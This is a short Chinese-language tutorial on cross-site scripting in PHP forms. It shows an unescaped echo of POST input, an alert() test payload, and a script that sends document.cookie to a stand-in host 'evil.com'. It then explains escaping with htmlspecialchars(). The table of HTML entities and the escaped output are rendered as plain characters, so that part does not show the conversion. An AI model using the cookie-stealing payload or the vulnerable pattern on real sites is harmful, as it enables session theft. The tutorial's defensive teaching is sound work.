在專案中,表單常常是最容易被駭客攻擊的地方,表單送出後,後端處理後回傳或存入資料庫,如果程式沒做檢查或過濾,就會被有心人士利用表單傳入攻擊程式碼,常見的有xxs和sql注入攻擊
今天主要介紹xxs攻擊(注入惡意JavaScript讓使用者在瀏覽器執行)
在php後端 沒做處理的code長這樣
echo "Welcome " . $_POST["name"];
惡意人士 在網頁的name欄位輸入並送出
<script>alert("XSS!")</script>
→瀏覽器執行js,彈出視窗xxs則代表這段js被執行。
原因:後端只是輸出文字,瀏覽器解析 HTML/JS 時就會執行惡意程式。
這只是簡單的範例若駭客輸入
<script>
fetch("http://evil.com/steal?cookie=" + document.cookie);
</script>
則會被撈出使用者的登入 Cookie 傳到駭客自己的網站
我們要怎麼防治呢? 最常見的方法是使用跳脫字元htmlspecialchars()
htmlspecialchars 的作用
將 HTML 特殊字元轉成 HTML 實體:
字元 | 轉換後 |
---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
把後端php改成
Welcome <?php echo htmlspecialchars($_POST["name"])
假設使用者一樣輸入
<script>alert("XSS!")</script>
後端處理
echo htmlspecialchars('<script>alert("XSS!")</script>');
經過跳脫字元處理會變成
<script>alert("XSS!")</script>
前端輸出
Welcome <script>alert("XSS!")</script>
瀏覽器把 HTML 實體還原成文字。
沒有跳出 alert 視窗,所以 XSS 沒有成功。
真正成功的 XSS 只有在瀏覽器把 當作 HTML/JS 執行的時候
總結
htmlspecialchars() → 防止大部分表單輸入導致的 XSS,是基礎防禦。
其他情況 → 放在 JS、CSS、URL 或允許 HTML 標籤時,需要額外處理。
好習慣 → 無論 GET/POST/資料庫輸入,都輸出前先跳脫,或使用框架模板自動 escape